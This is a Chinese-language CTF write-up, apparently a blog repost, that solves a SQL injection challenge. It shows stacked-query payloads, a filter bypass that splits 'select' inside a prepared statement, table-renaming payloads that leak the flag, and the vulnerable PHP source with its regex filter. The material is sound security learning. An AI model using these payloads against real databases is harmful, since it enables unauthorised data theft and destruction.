文章目錄
- 寫在前面
- 前期作業
- 堆疊注入查flag位置
- 花式繞過讀取flag
- 預編譯
- 改表名
- 原始碼分析
寫在前面
堅持第三天了,又是個sql注入,不過看這名字就不簡單,進入靶機,大家看看這話說的,牛逼哄哄的,一看就是個久經沙場的高手,還是個強網杯的題,菜雞瑟瑟發抖
顯然,這題也不搞花里胡哨的,直接告訴就讓你去注了,預感到可能會有點難,邊寫邊做吧,提前需要學下資料庫知識,還好自己上學期剛剛學了,什么語法啊,什么自主訪問控制并發控制意向鎖啥的還是記得一點,其實涉及到注入的語法不難,但是都要搞懂才能做題,csdn上就有文章還不錯,建議學一學再看,
前期作業
這部分是通用的資料庫注入步驟,首先測一下資料庫結構
payload= 1' //報錯
payload= 1'# //不報錯,這里就可以判斷是字符型注入
payload= 1' or 1=1# //萬能密碼,不報錯,回傳為真
payload= 1' and 1=2# //不報錯,回傳為假,無結果,驗證猜想
嘗試通過order by爆資料庫列數,order by的意思是按照第幾列的順序將結果排序,這里由于查到的本來就是空,所以正確也無結果
payload='order by 1 //不報錯,無結果
payload='order by 2 //不報錯,無結果
payload='order by 3 //報錯

所以列數是2,下面嘗試用union select試一試,union select就是把這條陳述句后面的陳述句和前面的正常陳述句一起查詢,貌似這條陳述句在正常查詢的時候沒什么用,倒是為了注入提供了不少方便,這里直接1,2,3回傳也是原樣回傳,不會查詢,這里僅僅只是看能不能聯合查詢
payload= 1' union select 1,2,3#
但是回傳了個這
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
這個是php中的過濾陳述句
preg_match( p a t t e r n , pattern, pattern,subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
引數說明如下:
$pattern:要搜索的模式,也就是編輯好的正則運算式;
$subject:要搜索的字串;
preg_match() 函式可以回傳 $pattern 的匹配次數,它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配后將會停止搜索,
也就是這里面的東西不能出現,開始以為可以通過大小寫繞過,sql陳述句不區分大小寫,但是也不行,因為這個匹配只要錯誤就退出,所以這些繞過是沒用的,這里進入了知識盲區,不愧是強網杯,百度一下之后有一個新的名詞,那么這一步能做出來要全憑積累
堆疊注入查flag位置
堆疊注入也就是幾條陳述句在一起,不用聯合查詢那樣畏畏縮縮在躲著查了,直接再起一個陳述句查詢,原理如下
在SQL中,分號(;)是用來表示一條sql陳述句的結束,試想一下我們在 ; 結束一個sql陳述句后繼續構造下一條陳述句,會不會一起執行?因此這個想法也就造就了堆疊注入,而union injection(聯合注入)也是將兩條陳述句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的陳述句型別是有限的,可以用來執行查詢陳述句,而堆疊注入可以執行的是任意的陳述句,例如以下這個例子,用戶輸入:1; DELETE FROM products服務器端生成的sql陳述句為:(因未對輸入的引數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢資訊,第二條則將整個表進行洗掉,
假設正常查詢陳述句如下:
select * from '$a'; //這是原陳述句
select * from '1' union select possword from pwd#' //這是聯合查詢注入 payload是最前最后兩個引號中間的那段
select * from '1'; show databases;#'//這是堆疊注入 payload也是最前最后兩個引號中間的那段
可以看到堆疊注入遠比聯合查詢靈活,因為它不再僅限于查詢,還可以執行修改等陳述句,這里先驗證是否可行
payload=1';show databases;#
我后面會分析具體陳述句的結構,這里先看結果

注出來了,說明有效,這就是堆疊注入的優勢,可以用show databases;這句話,你躲在聯合查詢的后面就不行,因為那樣會出語法問題,從上面的例子也可以看出,同理利用show tables看表名,這里是當前資料庫的表,不過你要登錄連接資料庫那么當前資料庫一般都是那個存密碼的資料庫吧,這里抓住它的show沒過濾簡直利用到極致,也不知道要是這個也過濾了大神還有什么辦法
payload=1';show columns from `1919810931114514`;#
注意表名要反引號,為什么呢,因為對以數字為表名的表進行操作時,需要加上`符號,看網上還有一種方法是使用desc直接列出列名,這也就是不同的繞過姿勢,拿本本記下來
這樣就注出列名

這里我們就知道了flag存在于supersqli資料庫中的1919810931114514表的flag欄位,這就是我們前面的作業,知道flag在哪里,后面就要想辦法繞過select過濾拿到flag
花式繞過讀取flag
這里有兩種方式,都學著,指不定哪天就用上了,還有一種什么改hander的方式,個人認為太偏門,就不記錄了,由于這些過濾,正常查詢是不可能了只能玩一些花出來
預編譯
這純粹是用堆疊注入的特性,沒堆疊注入就別想預編譯了,由于已知堆疊注入,那就可以執行很多條陳述句來達到我們的效果,payload如下,也就是去執行拼接select的陳述句,因為這里雙寫,大小寫都繞不過,只能用這種比較高級的方式
payload=-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare injection from @sql;
execute injection;
#
具體代碼示例如下
set用于設定變數名和值
prepare用于預備一個陳述句,并賦予名稱,以后可以參考該陳述句
execute執行陳述句
deallocate prepare用來釋放掉預處理的陳述句
這里碰到了如下檢測

strstr只是簡單匹配,和前面那個匹配的過濾不是一個等級的,改為大小寫或者雙寫繞過即可

改表名
靈感來源于默認輸出,正常輸入1,輸出的這個玩意兒是什么呢

別忘了還有個漏網之魚,當時這個tables還沒看

注出這里面的列之后,是不是很眼熟

那我們思路就清晰了,只要把那邊讀不出來的部分復制過來讓它默認輸出不就行了
payload=1';rename table `words` to sb;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
這里因為flag所在的表只有一列,而這個words表有兩列,且查詢的時候是按照id去查,所以這里直接吧flag改為id欄位,而不是data欄位,否則會報沒有id這個欄位的錯誤,當然改為data也可以,不過就要加上一列了,那又復雜了,所以就按簡單的來,搞完之后萬能密碼1’ or 1=1#即可注出

原始碼分析
github上白嫖本題環境,美滋滋
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真實環境滲透,只說一句話:開發和安全缺一不可</h1>
<!-- sqlmap是沒有靈魂的 -->
<form method="get">
姿勢: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多條sql陳述句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()執行一潭訓多條sql陳述句
do{
if ($rs = $mysqli->store_result()){//store_result()方法獲取第一條sql陳述句查詢結果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //關閉結果集
if ($mysqli->more_results()){ //判斷是否還有更多結果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法獲取下一結果集,回傳bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //關閉資料庫連接
}
?>
</pre>
</body>
</html>
可以看到堆疊注入的關鍵如下
$res = $mysqli->multi_query($sql);
必須要有這條陳述句才能執行多條sql,當然這是從原始碼的角度,以后如果有原始碼,看到multi_query就要小心了,但如果從我們攻擊者的角度,不知道原始碼的情況下只能是都嘗試一下,由于這個環境裝起來比較簡單,只需要phpstudy開個資料庫,把這個代碼放到網頁上某個php檔案再去訪問就行了所以這里就不自己搭了,buuctf上的就挺好用,偷個懶哈哈哈~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294870.html
標籤:其他
